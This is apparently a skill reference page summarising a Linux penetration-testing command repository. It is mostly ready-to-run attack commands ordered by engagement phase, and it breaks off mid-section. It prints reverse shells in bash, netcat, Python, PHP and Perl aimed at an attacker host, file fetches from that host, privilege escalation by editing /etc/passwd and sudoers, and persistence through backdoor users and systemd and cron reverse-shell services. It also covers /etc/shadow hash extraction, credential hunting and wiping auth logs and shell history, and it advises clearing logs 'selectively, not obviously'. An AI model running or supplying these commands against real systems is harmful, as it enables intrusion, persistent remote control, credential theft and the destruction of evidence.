linux-pentester-practical-commands

# Linux Pentester Practical Commands > Skill by [ara.so](https://ara.so) — Security Skills collection. ## Overview Linux for a Pentester is a curated collection of practical penetration testing commands and techniques organized by engagement phase. This resource provides real-world command-line operations used during security assessments, CTFs, and penetration testing exercises on Linux systems. The repository is structured around the penetration testing kill chain: reconnaissance, enumeration, exploitation, privilege escalation, and post-exploitation. ## Installation This is a reference repository, not a software package. Clone it for local reference: ```bash git clone https://github.com/HIMANSHUSHARMA20/Linux-for-a-Pentester.git cd Linux-for-a-Pentester ``` Keep it accessible during engagements: ```bash # Add to your path or create an alias alias pentref='cd ~/tools/Linux-for-a-Pentester && ls' # Or use it via grep for quick lookups grep -r "find.*suid" ~/tools/Linux-for-a-Pentester/ ``` ## Repository Structure The repository is organized into six main modules: - **00-General-Commands**: Basic Linux survival commands - **01-Recon**: Local and network reconnaissance - **02-Enumeration**: Service and user enumeration - **03-Exploitation**: Initial access techniques - **04-Privilege-Escalation**: Escalation to root/admin - **05-Post-Exploitation**: Persistence and lateral movement - **Cheatsheets**: Quick reference one-liners ## Key Command Categories ### Reconnaissance Commands Network and system discovery during initial access: ```bash # Network interface enumeration ip addr ip a show ifconfig -a # Routing table inspection ip route route -n netstat -rn # Active connections and listening ports ss -tunlp netstat -tunlp lsof -i # ARP cache inspection ip neigh arp -a # DNS enumeration cat /etc/resolv.conf cat /etc/hosts # Firewall rules iptables -L -n -v nft list ruleset # Running processes ps aux ps -ef pstree -p # System information uname -a cat /etc/os-release lsb_release -a hostnamectl ``` ### Enumeration Techniques Deep enumeration for privilege escalation vectors: ```bash # User enumeration id whoami groups cat /etc/passwd cat /etc/shadow # if accessible cat /etc/group # SUID/SGID binaries find / -perm -4000 -type f 2>/dev/null find / -perm -2000 -type f 2>/dev/null find / -perm -6000 -type f 2>/dev/null # Writable directories find / -writable -type d 2>/dev/null find / -perm -222 -type d 2>/dev/null find / -perm -o w -type d 2>/dev/null # World-writable files find / -perm -2 -type f 2>/dev/null # Files owned by current user find / -user $(whoami) 2>/dev/null # Sudo permissions sudo -l # Capabilities getcap -r / 2>/dev/null # Cron jobs cat /etc/crontab ls -la /etc/cron.* crontab -l cat /var/spool/cron/crontabs/* # Service enumeration systemctl list-units --type=service service --status-all # Listening services with PIDs ss -tlnp netstat -tlnp # Environment variables env cat /proc/*/environ 2>/dev/null | tr '\0' '\n' # Mounted filesystems mount cat /etc/fstab df -h # SSH keys find / -name id_rsa 2>/dev/null find / -name authorized_keys 2>/dev/null ls -la ~/.ssh/ ``` ### Exploitation Techniques Common exploitation patterns during pentests: ```bash # Reverse shell - Bash bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1 bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1' # Reverse shell - Netcat nc -e /bin/bash $ATTACKER_IP 4444 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER_IP 4444 >/tmp/f # Reverse shell - Python python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' # Reverse shell - PHP php -r '$sock=fsockopen("$ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");' # Upgrade to interactive shell python -c 'import pty; pty.spawn("/bin/bash")' python3 -c 'import pty; pty.spawn("/bin/bash")' # Then background with Ctrl+Z and run: # stty raw -echo; fg # export TERM=xterm # File transfer - Wget wget http://$ATTACKER_IP:8000/file -O /tmp/file # File transfer - Curl curl http://$ATTACKER_IP:8000/file -o /tmp/file # File transfer - Base64 echo "base64_encoded_content" | base64 -d > /tmp/file # Simple HTTP server for exfil python3 -m http.server 8000 ``` ### Privilege Escalation Vectors Common privilege escalation techniques: ```bash # SUID binary exploitation example - cp # If cp has SUID bit /usr/bin/cp /etc/shadow /tmp/shadow.bak # Then crack or read # GTFOBins - Find # If find has SUID find . -exec /bin/bash -p \; -quit # Sudo exploitation - less # If sudo less is allowed sudo less /etc/profile # Then type: !/bin/bash # Sudo exploitation - vim # If sudo vim is allowed sudo vim -c ':!/bin/bash' # Writable /etc/passwd exploitation openssl passwd -1 -salt xyz password echo 'hacker:$1$xyz$hash:0:0:root:/root:/bin/bash' >> /etc/passwd # Path hijacking echo '/bin/bash' > /tmp/ls chmod +x /tmp/ls export PATH=/tmp:$PATH # LD_PRELOAD exploitation # Create evil.c gcc -fPIC -shared -o /tmp/evil.so evil.c -nostartfiles sudo LD_PRELOAD=/tmp/evil.so program # Cron job hijacking # If writable cron script exists echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /path/to/cronjob.sh # Kernel exploits uname -a searchsploit "Linux Kernel $(uname -r | cut -d'-' -f1)" # Docker escape # If user in docker group docker run -v /:/mnt --rm -it alpine chroot /mnt sh # Check for automated enumeration scripts # LinPEAS curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh # LinEnum ./LinEnum.sh -t # Linux Exploit Suggester ./linux-exploit-suggester.sh ``` ### Post-Exploitation Activities Maintaining access and lateral movement: ```bash # Add SSH key for persistence mkdir -p /root/.ssh echo "ssh-rsa YOUR_PUBLIC_KEY" >> /root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keys # Create backdoor user useradd -m -s /bin/bash backdoor echo 'backdoor:password' | chpasswd usermod -aG sudo backdoor # Add to sudoers echo 'backdoor ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers # Cron persistence (crontab -l ; echo "@reboot /bin/bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1'") | crontab - # Service persistence cat > /etc/systemd/system/backdoor.service << EOF [Unit] Description=Backdoor Service [Service] ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1' Restart=always [Install] WantedBy=multi-user.target EOF systemctl enable backdoor.service # Password hash extraction cat /etc/shadow | grep -v '*' | grep -v '!' # History clearing history -c rm ~/.bash_history ln -s /dev/null ~/.bash_history # Log clearing echo "" > /var/log/auth.log echo "" > /var/log/syslog echo "" > ~/.bash_history # Find interesting files find / -name "*.conf" 2>/dev/null | grep -v proc find / -name "*.bak" 2>/dev/null find / -name "*password*" 2>/dev/null find / -name "*.db" 2>/dev/null # Credential hunting grep -r "password" /etc/ 2>/dev/null grep -r "PASS" /var/www/ 2>/dev/null grep -r "DB_PASSWORD" /var/www/ 2>/dev/null # Network pivoting with SSH ssh -L 8080:internal_server:80 user@compromised_host ssh -D 1080 user@compromised_host # SOCKS proxy # Port forwarding with socat socat TCP-LISTEN:8080,fork TCP:internal_server:80 ``` ## Common Patterns ### Initial Foothold Workflow ```bash # 1. Initial reconnaissance whoami && id && hostname uname -a cat /etc/os-release # 2. Check sudo permissions sudo -l # 3. Find SUID binaries find / -perm -4000 2>/dev/null # 4. Check writable files find / -writable -type f 2>/dev/null | grep -v proc # 5. Check running services ps aux ss -tlnp # 6. Enumerate users cat /etc/passwd | grep -v nologin | grep -v false # 7. Check cron jobs cat /etc/crontab ls -la /etc/cron.* ``` ### Enumeration Script Pattern ```bash #!/bin/bash # Quick enumeration script echo "[*] System Information" uname -a cat /etc/os-release echo "[*] Current User" whoami && id echo "[*] Sudo Permissions" sudo -l 2>/dev/null echo "[*] SUID Binaries" find / -perm -4000 -type f 2>/dev/null echo "[*] Interesting Files" find / -name "*.conf" -o -name "*.bak" 2>/dev/null | head -20 echo "[*] Network Connections" ss -tunlp 2>/dev/null || netstat -tunlp 2>/dev/null echo "[*] Users with Shell" cat /etc/passwd | grep -v nologin | grep -v false ``` ## Troubleshooting ### Limited Shell Issues If you have a limited shell, try these escape techniques: ```bash # Python pty spawn python -c 'import pty; pty.spawn("/bin/bash")' # Echo method echo os.system('/bin/bash') # Expect spawn expect -c 'spawn /bin/bash; interact' # VI escape vi :set shell=/bin/bash :shell # AWK escape awk 'BEGIN {system("/bin/bash")}' ``` ### Missing Commands Some systems may have limited binaries. Alternatives: ```bash # No netcat - use bash bash -i >& /dev/tcp/$IP/4444 0>&1 # No wget - use curl curl http://example.com/file -o output # No curl - use wget wget http://example.com/file -O output # No python - use perl perl -e 'use Socket;$i="$IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' ``` ### File Transfer Issues When standard methods fail: ```bash # Base64 encode on attacker, decode on target cat file | base64 -w 0 # On target: echo "base64_string" | base64 -d > file # Using dev/tcp cat < /dev/tcp/$ATTACKER_IP/80 > file # Using dd dd if=/dev/tcp/$ATTACKER_IP/8000 of=/tmp/file # Using hexdump xxd -p file | tr -d '\n' # On target: echo "hex_string" | xxd -r -p > file ``` ## Integration with Pentesting Workflow This reference is designed to complement automated tools: ```bash # Run automated enumeration ./linpeas.sh | tee linpeas_output.txt # Cross-reference with manual commands grep -i "suid" linpeas_output.txt # Manually verify findings find / -perm -4000 2>/dev/null | xargs ls -la # Test exploitation manually sudo -l # If linpeas found sudo access ``` ## Best Practices 1. **Always stabilize shells immediately** after getting initial access 2. **Document all commands executed** during engagement for reporting 3. **Check multiple enumeration vectors** - automated tools miss things 4. **Verify writable paths** before attempting exploitation 5. **Test privilege escalation** in isolated environment when possible 6. **Clean up artifacts** during post-exploitation phase 7. **Use encryption** for sensitive data exfiltration 8. **Maintain operational security** - clear logs selectively, not obviously ## Reference During Engagement Quick lookup patterns: ```bash # Quick SUID check find / -perm -4000 2>/dev/null | grep -E '(vim|nano|find|nmap|python|perl|ruby|bash)' # Quick sudo check for common escalation vectors sudo -l 2>/dev/null | grep -E '(vim|nano|find|nmap|less|more|man|awk|python|perl)' # Quick writable check